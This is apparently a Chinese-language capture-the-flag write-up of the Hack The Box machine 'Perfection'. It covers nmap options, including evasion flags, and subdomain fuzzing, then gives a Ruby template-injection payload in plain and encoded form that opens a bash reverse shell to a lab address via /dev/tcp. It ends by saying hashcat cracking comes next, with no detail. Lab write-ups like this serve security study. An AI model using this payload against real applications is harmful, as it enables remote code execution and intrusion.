Hack The Box-Perfection
总体思路
端口扫描->SSTI RCE->db文件泄露->hashcat破解密码
第一步 用nmap
Nmap扫描选项
-A : 全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式. -sP : Ping扫描,效率高,返回信息少. 例: nmap -sP 192.168.1.110 -P0(Pn) : 无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用-PS : TCP SYN Ping扫描
-PA : TCP ACK Ping扫描
-PR : ARP Ping扫描
-n : 禁止DNS反向解析
-T : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的
-p : 指定端口扫描
-F : 快速扫描
-f : 报文分段
-D : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址
-sS : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽.
-sT : TCP连接扫描
-sU : UDP扫描,扫描非常慢,容易被忽视
-sN,-sF : 隐蔽扫描
-sI : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机)
-p- : 扫描所有端口 1-65535
-top-ports : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口
<版本探测相关>:
-sV : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本.
-sV --allports : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口)
--version-intersity: 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7
--version-ligth : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2
--version-all : 扫描强度,重量级扫描(9) ,等同于--version-intersity 9
--version-trace : 获取详细的版本信息
-sR : 判断开放端口是否为RPC端口, 如果是返回程序和版本号.
--resaon : 显示主机存活原因
然后进行目录扫描和子域名探测
dirsearch -u 10.10.11.253
ffuf -c -u http://pefection.htb/ -H "Host: FUZZ.perfection.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
没有有价值的信息,回到80端口上
然后去http上找线索
发现是ruby搭建的网站,可能就存在ssti漏洞
#源代码为
<% system("echo
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/9000 0>&1 | base64 -d | bash"); %>;
#经过url编码和base64编码后为
category1=1%0A;<%25+system("echo+IyEvYmluL2Jhc2gKYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDAgMD4mMQ==+|+base64+-d|+bash");+%25>;
这里记住要base64加密,#!/bin/bash 的作用是:用于指定默认情况下运行指定脚本的解释器,base64+-d这个是用base64解释器,-d是解码,bash是用bash反弹
最后就是Hashcat的使用